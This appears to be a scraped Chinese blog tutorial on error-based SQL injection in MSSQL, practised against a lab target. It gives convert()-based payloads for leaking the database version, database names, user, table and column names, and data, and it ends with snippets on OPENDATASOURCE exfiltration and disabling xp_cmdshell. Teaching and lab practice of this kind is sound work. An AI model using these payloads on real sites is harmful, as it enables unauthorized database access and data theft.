mssql報錯注入

2022-09-19 04:27:10 字數 2227 閱讀 7185

------------恢復內容開始------------

------------恢復內容開始------------

通過mssql報錯,經過人為的調控,報出payload資訊

介於聯合查詢和盲注之間

能用聯合查詢就不用報錯注入,能用報錯注入就不用盲注

convert函式是乙個日期轉換函式

convert(data_type(length),data_to_be_converted,style)

data_type(length) 轉換的目標資料型別

data_to_be_converted  需要轉換得日期

style 規定⽇期/時間的輸出格式。

eg:convert(varchar(19),getdate())

convert(varchar(10),getdate(),110)

convert(varchar(11),getdate(),106)

convert(varchar(24),getdate(),113)

convert(int,@@version)   該函式的意思是將版本資訊轉換為int型別(@@version是輸出mssql的版本資訊),版本資訊是字元型別,字元型別轉換為int型別會報錯,指出「sql查詢結果」⽆法轉換為「int」型別,這樣的話攻擊者從報錯資訊中就輸出了版本資訊

其他類似的函式

convert()

file_name()

db_name()

col_name()

filegroup_name()

object_name()

schema_name()

type_name()

cast()

查詢基本資訊

本次使用五號黯區的mssql靶場

將id=1中的1替換為要注入的函式,重新整理

通過報錯資訊就輸出了資料庫的版本資訊

2、convert(int,db_name(n)) -資料庫名字(更改n值,檢視第幾張資料庫名字,從0開始)

資料庫名字為test

3、convert(int,user) -當前⽤戶名

4、convert(int,@@servername)– 獲取有關伺服器主機的資訊

獲取當前資料庫的表名

convert(int,(select top 1 table_name from information_schema.columns))

cmd就是第一張表的表名

通過not in來檢視其他表的表名

獲取列名

convert(int,(select top 1 column_name from information_schema.columns where table_name=cast(16進製制的表名 as varchar)))

要將表名cmd轉換為16進製制

列名為a

獲取資料

convert(int,(select top 1 name 列名 from 表名))

MSSQL注入 反彈注入

明明是sql注入的點,卻無法進行注入,注射工具拆解的速度異常的緩慢,錯誤提示資訊關閉,無法返回注入的結果,這個時候你便可以嘗試使用 注入,注入需要依賴於函式opendatasource的支援,將當前資料庫中的查詢結果傳送到另一資料庫伺服器中。and exists select from sysobj...

ms sql 注入安全

sql查詢分析器 use master exec sp dropextendedproc xp cmdshell exec sp dropextendedproc xp dirtree exec sp dropextendedproc xp enumgroups exec sp dropextend...

mssql手工注入

mssql注入是針對於sql server資料庫的 平台 i春秋 內容 mssql手工注入 測試 www.test.com 找注入點 點選test 用資料型別轉換爆錯法 檢視版本 原因 version是mssql 的全域性變數,如果我們把它寫成這樣 and version,那個後面的mssql就會強...